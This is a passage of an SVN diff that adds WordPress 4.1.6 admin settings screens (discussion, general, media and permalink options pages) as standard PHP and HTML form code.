+$default_comments_page .= '>' . __('last') . '</option><option value="oldest"';
+if ( 'oldest' == get_option('default_comments_page') ) $default_comments_page .= ' selected="selected"';
+$default_comments_page .= '>' . __('first') . '</option></select>';
+
+printf( __('Break comments into pages with %1$s top level comments per page and the %2$s page displayed by default'), '</label><label for="comments_per_page"><input name="comments_per_page" type="number" step="1" min="0" id="comments_per_page" value="' . esc_attr(get_option('comments_per_page')) . '" class="small-text" />', $default_comments_page );
+
+?></label>
+<br />
+<label for="comment_order"><?php
+
+$comment_order = '<select name="comment_order" id="comment_order"><option value="asc"';
+if ( 'asc' == get_option('comment_order') ) $comment_order .= ' selected="selected"';
+$comment_order .= '>' . __('older') . '</option><option value="desc"';
+if ( 'desc' == get_option('comment_order') ) $comment_order .= ' selected="selected"';
+$comment_order .= '>' . __('newer') . '</option></select>';
+
+printf( __('Comments should be displayed with the %s comments at the top of each page'), $comment_order );
+
+?></label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('E-mail me whenever'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('E-mail me whenever'); ?></span></legend>
+<label for="comments_notify">
+<input name="comments_notify" type="checkbox" id="comments_notify" value="1" <?php checked('1', get_option('comments_notify')); ?> />
+<?php _e('Anyone posts a comment'); ?> </label>
+<br />
+<label for="moderation_notify">
+<input name="moderation_notify" type="checkbox" id="moderation_notify" value="1" <?php checked('1', get_option('moderation_notify')); ?> />
+<?php _e('A comment is held for moderation'); ?> </label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Before a comment appears'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Before a comment appears'); ?></span></legend>
+<label for="comment_moderation">
+<input name="comment_moderation" type="checkbox" id="comment_moderation" value="1" <?php checked('1', get_option('comment_moderation')); ?> />
+<?php _e('Comment must be manually approved'); ?> </label>
+<br />
+<label for="comment_whitelist"><input type="checkbox" name="comment_whitelist" id="comment_whitelist" value="1" <?php checked('1', get_option('comment_whitelist')); ?> /> <?php _e('Comment author must have a previously approved comment'); ?></label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Comment Moderation'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Comment Moderation'); ?></span></legend>
+<p><label for="comment_max_links"><?php printf(__('Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)'), '<input name="comment_max_links" type="number" step="1" min="0" id="comment_max_links" value="' . esc_attr(get_option('comment_max_links')) . '" class="small-text" />' ); ?></label></p>
+
+<p><label for="moderation_keys"><?php _e('When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be held in the <a href="edit-comments.php?comment_status=moderated">moderation queue</a>. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.'); ?></label></p>
+<p>
+<textarea name="moderation_keys" rows="10" cols="50" id="moderation_keys" class="large-text code"><?php echo esc_textarea( get_option( 'moderation_keys' ) ); ?></textarea>
+</p>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Comment Blacklist'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Comment Blacklist'); ?></span></legend>
+<p><label for="blacklist_keys"><?php _e('When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be marked as spam. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.'); ?></label></p>
+<p>
+<textarea name="blacklist_keys" rows="10" cols="50" id="blacklist_keys" class="large-text code"><?php echo esc_textarea( get_option( 'blacklist_keys' ) ); ?></textarea>
+</p>
+</fieldset></td>
+</tr>
+<?php do_settings_fields('discussion', 'default'); ?>
+</table>
+
+<h3 class="title"><?php _e('Avatars'); ?></h3>
+
+<p><?php _e('An avatar is an image that follows you from weblog to weblog appearing beside your name when you comment on avatar enabled sites. Here you can enable the display of avatars for people who comment on your site.'); ?></p>
+
+<?php // the above would be a good place to link to codex documentation on the gravatar functions, for putting it in themes. anything like that? ?>
+
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e('Avatar Display'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Avatar Display'); ?></span></legend>
+	<label for="show_avatars">
+		<input type="checkbox" id="show_avatars" name="show_avatars" value="1" <?php checked( get_option('show_avatars'), 1 ); ?> />
+		<?php _e( 'Show Avatars' ); ?>
+	</label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Maximum Rating'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Maximum Rating'); ?></span></legend>
+
+<?php
+$ratings = array(
+	/* translators: Content suitability rating: http://bit.ly/89QxZA */
+	'G' => __('G &#8212; Suitable for all audiences'),
+	/* translators: Content suitability rating: http://bit.ly/89QxZA */
+	'PG' => __('PG &#8212; Possibly offensive, usually for audiences 13 and above'),
+	/* translators: Content suitability rating: http://bit.ly/89QxZA */
+	'R' => __('R &#8212; Intended for adult audiences above 17'),
+	/* translators: Content suitability rating: http://bit.ly/89QxZA */
+	'X' => __('X &#8212; Even more mature than above')
+);
+foreach ($ratings as $key => $rating) :
+	$selected = (get_option('avatar_rating') == $key) ? 'checked="checked"' : '';
+	echo "\n\t<label><input type='radio' name='avatar_rating' value='" . esc_attr($key) . "' $selected/> $rating</label><br />";
+endforeach;
+?>
+
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Default Avatar'); ?></th>
+<td class="defaultavatarpicker"><fieldset><legend class="screen-reader-text"><span><?php _e('Default Avatar'); ?></span></legend>
+
+<?php _e('For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their e-mail address.'); ?><br />
+
+<?php
+$avatar_defaults = array(
+	'mystery' => __('Mystery Person'),
+	'blank' => __('Blank'),
+	'gravatar_default' => __('Gravatar Logo'),
+	'identicon' => __('Identicon (Generated)'),
+	'wavatar' => __('Wavatar (Generated)'),
+	'monsterid' => __('MonsterID (Generated)'),
+	'retro' => __('Retro (Generated)')
+);
+/**
+ * Filter the default avatars.
+ *
+ * Avatars are stored in key/value pairs, where the key is option value,
+ * and the name is the displayed avatar name.
+ *
+ * @since 2.6.0
+ *
+ * @param array $avatar_defaults Array of default avatars.
+ */
+$avatar_defaults = apply_filters( 'avatar_defaults', $avatar_defaults );
+$default = get_option('avatar_default');
+if ( empty($default) )
+	$default = 'mystery';
+$size = 32;
+$avatar_list = '';
+foreach ( $avatar_defaults as $default_key => $default_name ) {
+	$selected = ($default == $default_key) ? 'checked="checked" ' : '';
+	$avatar_list .= "\n\t<label><input type='radio' name='avatar_default' id='avatar_{$default_key}' value='" . esc_attr($default_key) . "' {$selected}/> ";
+
+	$avatar = get_avatar( $user_email, $size, $default_key );
+	$avatar_list .= preg_replace("/src='(.+?)'/", "src='\$1&amp;forcedefault=1'", $avatar);
+
+	$avatar_list .= ' ' . $default_name . '</label>';
+	$avatar_list .= '<br />';
+}
+/**
+ * Filter the HTML output of the default avatar list.
+ *
+ * @since 2.6.0
+ *
+ * @param string $avatar_list HTML markup of the avatar list.
+ */
+echo apply_filters( 'default_avatar_select', $avatar_list );
+?>
+
+</fieldset></td>
+</tr>
+<?php do_settings_fields('discussion', 'avatars'); ?>
+</table>
+
+<?php do_settings_sections('discussion'); ?>
+
+<?php submit_button(); ?>
+</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/options-general.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options-general.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options-general.php	(revision 33402)
@@ -0,0 +1,385 @@
+<?php
+/**
+ * General settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** WordPress Translation Install API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'You do not have sufficient permissions to manage options for this site.' ) );
+
+$title = __('General Settings');
+$parent_file = 'options-general.php';
+/* translators: date and time format for exact current time, mainly about timezones, see http://php.net/date */
+$timezone_format = _x('Y-m-d G:i:s', 'timezone date format');
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ */
+function options_general_add_js() {
+?>
+<script type="text/javascript">
+//<![CDATA[
+	jQuery(document).ready(function($){
+		var $siteName = $( '#wp-admin-bar-site-name' ).children( 'a' ).first(),
+			homeURL = ( <?php echo wp_json_encode( get_home_url() ); ?> || '' ).replace( /^(https?:\/\/)?(www\.)?/, '' );
+
+		$( '#blogname' ).on( 'input', function() {
+			var title = $.trim( $( this ).val() ) || homeURL;
+
+			// Truncate to 40 characters.
+			if ( 40 < title.length ) {
+				title = title.substring( 0, 40 ) + '\u2026';
+			}
+
+			$siteName.text( title );
+		});
+
+		$("input[name='date_format']").click(function(){
+			if ( "date_format_custom_radio" != $(this).attr("id") )
+				$("input[name='date_format_custom']").val( $(this).val() ).siblings('.example').text( $(this).siblings('span').text() );
+		});
+		$("input[name='date_format_custom']").focus(function(){
+			$( '#date_format_custom_radio' ).prop( 'checked', true );
+		});
+
+		$("input[name='time_format']").click(function(){
+			if ( "time_format_custom_radio" != $(this).attr("id") )
+				$("input[name='time_format_custom']").val( $(this).val() ).siblings('.example').text( $(this).siblings('span').text() );
+		});
+		$("input[name='time_format_custom']").focus(function(){
+			$( '#time_format_custom_radio' ).prop( 'checked', true );
+		});
+		$("input[name='date_format_custom'], input[name='time_format_custom']").change( function() {
+			var format = $(this);
+			format.siblings('.spinner').css('display', 'inline-block'); // show(); can't be used here
+			$.post(ajaxurl, {
+					action: 'date_format_custom' == format.attr('name') ? 'date_format' : 'time_format',
+					date : format.val()
+				}, function(d) { format.siblings('.spinner').hide(); format.siblings('.example').text(d); } );
+		});
+
+		var languageSelect = $( '#WPLANG' );
+		$( 'form' ).submit( function() {
+			// Don't show a spinner for English and installed languages,
+			// as there is nothing to download.
+			if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
+				$( '#submit', this ).after( '<span class="spinner language-install-spinner" />' );
+			}
+		});
+	});
+//]]>
+</script>
+<?php
+}
+add_action('admin_head', 'options_general_add_js');
+
+$options_help = '<p>' . __('The fields on this screen determine some of the basics of your site setup.') . '</p>' .
+	'<p>' . __('Most themes display the site title at the top of every page, in the title bar of the browser, and as the identifying name for syndicated feeds. The tagline is also displayed by many themes.') . '</p>';
+
+if ( ! is_multisite() ) {
+	$options_help .= '<p>' . __('The WordPress URL and the Site URL can be the same (example.com) or different; for example, having the WordPress core files (example.com/wordpress) in a subdirectory instead of the root directory.') . '</p>' .
+		'<p>' . __('If you want site visitors to be able to register themselves, as opposed to by the site administrator, check the membership box. A default user role can be set for all new users, whether self-registered or registered by the site admin.') . '</p>';
+}
+
+$options_help .= '<p>' . __( 'You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable).' ) . '</p>' .
+	'<p>' . __( 'UTC means Coordinated Universal Time.' ) . '</p>' .
+	'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $options_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Settings_General_Screen" target="_blank">Documentation on General Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php" novalidate="novalidate">
+<?php settings_fields('general'); ?>
+
+<table class="form-table">
+<tr>
+<th scope="row"><label for="blogname"><?php _e('Site Title') ?></label></th>
+<td><input name="blogname" type="text" id="blogname" value="<?php form_option('blogname'); ?>" class="regular-text" /></td>
+</tr>
+<tr>
+<th scope="row"><label for="blogdescription"><?php _e('Tagline') ?></label></th>
+<td><input name="blogdescription" type="text" id="blogdescription" value="<?php form_option('blogdescription'); ?>" class="regular-text" />
+<p class="description"><?php _e('In a few words, explain what this site is about.') ?></p></td>
+</tr>
+<?php if ( !is_multisite() ) { ?>
+<tr>
+<th scope="row"><label for="siteurl"><?php _e('WordPress Address (URL)') ?></label></th>
+<td><input name="siteurl" type="url" id="siteurl" value="<?php form_option( 'siteurl' ); ?>"<?php disabled( defined( 'WP_SITEURL' ) ); ?> class="regular-text code<?php if ( defined( 'WP_SITEURL' ) ) echo ' disabled' ?>" /></td>
+</tr>
+<tr>
+<th scope="row"><label for="home"><?php _e('Site Address (URL)') ?></label></th>
+<td><input name="home" type="url" id="home" value="<?php form_option( 'home' ); ?>"<?php disabled( defined( 'WP_HOME' ) ); ?> class="regular-text code<?php if ( defined( 'WP_HOME' ) ) echo ' disabled' ?>" />
+<p class="description"><?php _e('Enter the address here if you want your site homepage <a href="http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory">to be different from the directory</a> you installed WordPress.'); ?></p></td>
+</tr>
+<tr>
+<th scope="row"><label for="admin_email"><?php _e('E-mail Address') ?> </label></th>
+<td><input name="admin_email" type="email" id="admin_email" value="<?php form_option( 'admin_email' ); ?>" class="regular-text ltr" />
+<p class="description"><?php _e('This address is used for admin purposes, like new user notification.') ?></p></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Membership') ?></th>
+<td> <fieldset><legend class="screen-reader-text"><span><?php _e('Membership') ?></span></legend><label for="users_can_register">
+<input name="users_can_register" type="checkbox" id="users_can_register" value="1" <?php checked('1', get_option('users_can_register')); ?> />
+<?php _e('Anyone can register') ?></label>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><label for="default_role"><?php _e('New User Default Role') ?></label></th>
+<td>
+<select name="default_role" id="default_role"><?php wp_dropdown_roles( get_option('default_role') ); ?></select>
+</td>
+</tr>
+<?php } else { ?>
+<tr>
+<th scope="row"><label for="new_admin_email"><?php _e('E-mail Address') ?> </label></th>
+<td><input name="new_admin_email" type="email" id="new_admin_email" value="<?php form_option( 'admin_email' ); ?>" class="regular-text ltr" />
+<p class="description"><?php _e('This address is used for admin purposes. If you change this we will send you an e-mail at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>') ?></p>
+<?php
+$new_admin_email = get_option( 'new_admin_email' );
+if ( $new_admin_email && $new_admin_email != get_option('admin_email') ) : ?>
+<div class="updated inline">
+<p><?php printf( __('There is a pending change of the admin e-mail to <code>%1$s</code>. <a href="%2$s">Cancel</a>'), esc_html( $new_admin_email ), esc_url( admin_url( 'options.php?dismiss=new_admin_email' ) ) ); ?></p>
+</div>
+<?php endif; ?>
+</td>
+</tr>
+<?php } ?>
+<tr>
+<?php
+$current_offset = get_option('gmt_offset');
+$tzstring = get_option('timezone_string');
+
+$check_zone_info = true;
+
+// Remove old Etc mappings. Fallback to gmt_offset.
+if ( false !== strpos($tzstring,'Etc/GMT') )
+	$tzstring = '';
+
+if ( empty($tzstring) ) { // Create a UTC+- zone if no timezone string exists
+	$check_zone_info = false;
+	if ( 0 == $current_offset )
+		$tzstring = 'UTC+0';
+	elseif ($current_offset < 0)
+		$tzstring = 'UTC' . $current_offset;
+	else
+		$tzstring = 'UTC+' . $current_offset;
+}
+
+?>
+<th scope="row"><label for="timezone_string"><?php _e('Timezone') ?></label></th>
+<td>
+
+<select id="timezone_string" name="timezone_string">
+<?php echo wp_timezone_choice($tzstring); ?>
+</select>
+
+	<span id="utc-time"><?php printf(__('<abbr title="Coordinated Universal Time">UTC</abbr> time is <code>%s</code>'), date_i18n($timezone_format, false, 'gmt')); ?></span>
+<?php if ( get_option('timezone_string') || !empty($current_offset) ) : ?>
+	<span id="local-time"><?php printf(__('Local time is <code>%1$s</code>'), date_i18n($timezone_format)); ?></span>
+<?php endif; ?>
+<p class="description"><?php _e('Choose a city in the same timezone as you.'); ?></p>
+<?php if ($check_zone_info && $tzstring) : ?>
+<br />
+<span>
+	<?php
+	// Set TZ so localtime works.
+	date_default_timezone_set($tzstring);
+	$now = localtime(time(), true);
+	if ( $now['tm_isdst'] )
+		_e('This timezone is currently in daylight saving time.');
+	else
+		_e('This timezone is currently in standard time.');
+	?>
+	<br />
+	<?php
+	$allowed_zones = timezone_identifiers_list();
+
+	if ( in_array( $tzstring, $allowed_zones) ) {
+		$found = false;
+		$date_time_zone_selected = new DateTimeZone($tzstring);
+		$tz_offset = timezone_offset_get($date_time_zone_selected, date_create());
+		$right_now = time();
+		foreach ( timezone_transitions_get($date_time_zone_selected) as $tr) {
+			if ( $tr['ts'] > $right_now ) {
+			    $found = true;
+				break;
+			}
+		}
+
+		if ( $found ) {
+			echo ' ';
+			$message = $tr['isdst'] ?
+				__('Daylight saving time begins on: <code>%s</code>.') :
+				__('Standard time begins on: <code>%s</code>.');
+			// Add the difference between the current offset and the new offset to ts to get the correct transition time from date_i18n().
+			printf( $message, date_i18n(get_option('date_format') . ' ' . get_option('time_format'), $tr['ts'] + ($tz_offset - $tr['offset']) ) );
+		} else {
+			_e('This timezone does not observe daylight saving time.');
+		}
+	}
+	// Set back to UTC.
+	date_default_timezone_set('UTC');
+	?>
+	</span>
+<?php endif; ?>
+</td>
+
+</tr>
+<tr>
+<th scope="row"><?php _e('Date Format') ?></th>
+<td>
+	<fieldset><legend class="screen-reader-text"><span><?php _e('Date Format') ?></span></legend>
+<?php
+	/**
+	* Filter the default date formats.
+	*
+	* @since 2.7.0
+	* @since 4.0.0 Added ISO date standard YYYY-MM-DD format.
+	*
+	* @param array $default_date_formats Array of default date formats.
+	*/
+	$date_formats = array_unique( apply_filters( 'date_formats', array( __( 'F j, Y' ), 'Y-m-d', 'm/d/Y', 'd/m/Y' ) ) );
+
+	$custom = true;
+
+	foreach ( $date_formats as $format ) {
+		echo "\t<label title='" . esc_attr($format) . "'><input type='radio' name='date_format' value='" . esc_attr($format) . "'";
+		if ( get_option('date_format') === $format ) { // checked() uses "==" rather than "==="
+			echo " checked='checked'";
+			$custom = false;
+		}
+		echo ' /> <span>' . date_i18n( $format ) . "</span></label><br />\n";
+	}
+
+	echo '	<label><input type="radio" name="date_format" id="date_format_custom_radio" value="\c\u\s\t\o\m"';
+	checked( $custom );
+	echo '/> ' . __('Custom:') . ' </label><input type="text" name="date_format_custom" value="' . esc_attr( get_option('date_format') ) . '" class="small-text" /> <span class="example"> ' . date_i18n( get_option('date_format') ) . "</span> <span class='spinner'></span>\n";
+?>
+	</fieldset>
+</td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Time Format') ?></th>
+<td>
+	<fieldset><legend class="screen-reader-text"><span><?php _e('Time Format') ?></span></legend>
+<?php
+	/**
+	* Filter the default time formats.
+	*
+	* @since 2.7.0
+	*
+	* @param array $default_time_formats Array of default time formats.
+	*/
+	$time_formats = array_unique( apply_filters( 'time_formats', array( __( 'g:i a' ), 'g:i A', 'H:i' ) ) );
+
+	$custom = true;
+
+	foreach ( $time_formats as $format ) {
+		echo "\t<label title='" . esc_attr($format) . "'><input type='radio' name='time_format' value='" . esc_attr($format) . "'";
+		if ( get_option('time_format') === $format ) { // checked() uses "==" rather than "==="
+			echo " checked='checked'";
+			$custom = false;
+		}
+		echo ' /> <span>' . date_i18n( $format ) . "</span></label><br />\n";
+	}
+
+	echo '	<label><input type="radio" name="time_format" id="time_format_custom_radio" value="\c\u\s\t\o\m"';
+	checked( $custom );
+	echo '/> ' . __('Custom:') . ' </label><input type="text" name="time_format_custom" value="' . esc_attr( get_option('time_format') ) . '" class="small-text" /> <span class="example"> ' . date_i18n( get_option('time_format') ) . "</span> <span class='spinner'></span>\n";
+
+	echo "\t<p>" . __('<a href="http://codex.wordpress.org/Formatting_Date_and_Time">Documentation on date and time formatting</a>.') . "</p>\n";
+?>
+	</fieldset>
+</td>
+</tr>
+<tr>
+<th scope="row"><label for="start_of_week"><?php _e('Week Starts On') ?></label></th>
+<td><select name="start_of_week" id="start_of_week">
+<?php
+for ($day_index = 0; $day_index <= 6; $day_index++) :
+	$selected = (get_option('start_of_week') == $day_index) ? 'selected="selected"' : '';
+	echo "\n\t<option value='" . esc_attr($day_index) . "' $selected>" . $wp_locale->get_weekday($day_index) . '</option>';
+endfor;
+?>
+</select></td>
+</tr>
+<?php do_settings_fields('general', 'default'); ?>
+
+<?php
+$languages = get_available_languages();
+$translations = wp_get_available_translations();
+if ( ! is_multisite() && defined( 'WPLANG' ) && '' !== WPLANG && 'en_US' !== WPLANG && ! in_array( WPLANG, $languages ) ) {
+	$languages[] = WPLANG;
+}
+if ( ! empty( $languages ) || ! empty( $translations ) ) {
+	?>
+	<tr>
+		<th width="33%" scope="row"><label for="WPLANG"><?php _e( 'Site Language' ); ?></label></th>
+		<td>
+			<?php
+			$locale = get_locale();
+			if ( ! in_array( $locale, $languages ) ) {
+				$locale = '';
+			}
+
+			wp_dropdown_languages( array(
+				'name'         => 'WPLANG',
+				'id'           => 'WPLANG',
+				'selected'     => $locale,
+				'languages'    => $languages,
+				'translations' => $translations,
+				'show_available_translations' => ( ! is_multisite() || is_super_admin() ) && wp_can_install_language_pack(),
+			) );
+
+			// Add note about deprecated WPLANG constant.
+			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && $locale !== WPLANG ) {
+				if ( is_super_admin() ) {
+					?>
+					<p class="description">
+						<strong><?php _e( 'Note:' ); ?></strong> <?php printf( __( 'The %s constant in your %s file is no longer needed.' ), '<code>WPLANG</code>', '<code>wp-config.php</code>' ); ?>
+					</p>
+					<?php
+				}
+				_deprecated_argument( 'define()', '4.0', sprintf( __( 'The %s constant in your %s file is no longer needed.' ), 'WPLANG', 'wp-config.php' ) );
+			}
+			?>
+		</td>
+	</tr>
+	<?php
+}
+?>
+</table>
+
+<?php do_settings_sections('general'); ?>
+
+<?php submit_button(); ?>
+</form>
+
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/options-head.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options-head.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options-head.php	(revision 33402)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * WordPress Options Header.
+ *
+ * Displays updated message, if updated variable is part of the URL query.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+wp_reset_vars( array( 'action' ) );
+
+if ( isset( $_GET['updated'] ) && isset( $_GET['page'] ) ) {
+	// For backwards compat with plugins that don't use the Settings API and just set updated=1 in the redirect
+	add_settings_error('general', 'settings_updated', __('Settings saved.'), 'updated');
+}
+
+settings_errors();
Index: /tags/4.1.6/src/wp-admin/options-media.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options-media.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options-media.php	(revision 33402)
@@ -0,0 +1,136 @@
+<?php
+/**
+ * Media settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'You do not have sufficient permissions to manage options for this site.' ) );
+
+$title = __('Media Settings');
+$parent_file = 'options-general.php';
+
+$media_options_help = '<p>' . __('You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size.') . '</p>';
+
+if ( ! is_multisite() && ( get_option('upload_url_path') || ( get_option('upload_path') != 'wp-content/uploads' && get_option('upload_path') ) ) ) {
+	$media_options_help .= '<p>' . __('Uploading Files allows you to choose the folder and path for storing your uploaded files.') . '</p>';
+}
+
+$media_options_help .= '<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $media_options_help,
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Settings_Media_Screen" target="_blank">Documentation on Media Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form action="options.php" method="post">
+<?php settings_fields('media'); ?>
+
+<h3 class="title"><?php _e('Image sizes') ?></h3>
+<p><?php _e( 'The sizes listed below determine the maximum dimensions in pixels to use when adding an image to the Media Library.' ); ?></p>
+
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e('Thumbnail size') ?></th>
+<td>
+<label for="thumbnail_size_w"><?php _e('Width'); ?></label>
+<input name="thumbnail_size_w" type="number" step="1" min="0" id="thumbnail_size_w" value="<?php form_option('thumbnail_size_w'); ?>" class="small-text" />
+<label for="thumbnail_size_h"><?php _e('Height'); ?></label>
+<input name="thumbnail_size_h" type="number" step="1" min="0" id="thumbnail_size_h" value="<?php form_option('thumbnail_size_h'); ?>" class="small-text" /><br />
+<input name="thumbnail_crop" type="checkbox" id="thumbnail_crop" value="1" <?php checked('1', get_option('thumbnail_crop')); ?>/>
+<label for="thumbnail_crop"><?php _e('Crop thumbnail to exact dimensions (normally thumbnails are proportional)'); ?></label>
+</td>
+</tr>
+
+<tr>
+<th scope="row"><?php _e('Medium size') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Medium size'); ?></span></legend>
+<label for="medium_size_w"><?php _e('Max Width'); ?></label>
+<input name="medium_size_w" type="number" step="1" min="0" id="medium_size_w" value="<?php form_option('medium_size_w'); ?>" class="small-text" />
+<label for="medium_size_h"><?php _e('Max Height'); ?></label>
+<input name="medium_size_h" type="number" step="1" min="0" id="medium_size_h" value="<?php form_option('medium_size_h'); ?>" class="small-text" />
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><?php _e('Large size') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Large size'); ?></span></legend>
+<label for="large_size_w"><?php _e('Max Width'); ?></label>
+<input name="large_size_w" type="number" step="1" min="0" id="large_size_w" value="<?php form_option('large_size_w'); ?>" class="small-text" />
+<label for="large_size_h"><?php _e('Max Height'); ?></label>
+<input name="large_size_h" type="number" step="1" min="0" id="large_size_h" value="<?php form_option('large_size_h'); ?>" class="small-text" />
+</fieldset></td>
+</tr>
+
+<?php do_settings_fields('media', 'default'); ?>
+</table>
+
+<?php if ( isset( $GLOBALS['wp_settings']['media']['embeds'] ) ) : ?>
+<h3 class="title"><?php _e('Embeds') ?></h3>
+<table class="form-table">
+<?php do_settings_fields( 'media', 'embeds' ); ?>
+</table>
+<?php endif; ?>
+
+<?php if ( !is_multisite() ) : ?>
+<h3 class="title"><?php _e('Uploading Files'); ?></h3>
+<table class="form-table">
+<?php
+// If upload_url_path is not the default (empty), and upload_path is not the default ('wp-content/uploads' or empty)
+if ( get_option('upload_url_path') || ( get_option('upload_path') != 'wp-content/uploads' && get_option('upload_path') ) ) :
+?>
+<tr>
+<th scope="row"><label for="upload_path"><?php _e('Store uploads in this folder'); ?></label></th>
+<td><input name="upload_path" type="text" id="upload_path" value="<?php echo esc_attr(get_option('upload_path')); ?>" class="regular-text code" />
+<p class="description"><?php _e('Default is <code>wp-content/uploads</code>'); ?></p>
+</td>
+</tr>
+
+<tr>
+<th scope="row"><label for="upload_url_path"><?php _e('Full URL path to files'); ?></label></th>
+<td><input name="upload_url_path" type="text" id="upload_url_path" value="<?php echo esc_attr( get_option('upload_url_path')); ?>" class="regular-text code" />
+<p class="description"><?php _e('Configuring this is optional. By default, it should be blank.'); ?></p>
+</td>
+</tr>
+<?php endif; ?>
+<tr>
+<th scope="row" colspan="2" class="th-full">
+<label for="uploads_use_yearmonth_folders">
+<input name="uploads_use_yearmonth_folders" type="checkbox" id="uploads_use_yearmonth_folders" value="1"<?php checked('1', get_option('uploads_use_yearmonth_folders')); ?> />
+<?php _e('Organize my uploads into month- and year-based folders'); ?>
+</label>
+</th>
+</tr>
+
+<?php do_settings_fields('media', 'uploads'); ?>
+</table>
+<?php endif; ?>
+
+<?php do_settings_sections('media'); ?>
+
+<?php submit_button(); ?>
+
+</form>
+
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/options-permalink.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options-permalink.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options-permalink.php	(revision 33402)
@@ -0,0 +1,289 @@
+<?php
+/**
+ * Permalink Settings Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'You do not have sufficient permissions to manage options for this site.' ) );
+
+$title = __('Permalink Settings');
+$parent_file = 'options-general.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change &#8212; hence the name permalink.') . '</p>' .
+		'<p>' . __('This screen allows you to choose your default permalink structure. You can choose from common settings or create custom URL structures.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'common-settings',
+	'title'   => __('Common Settings'),
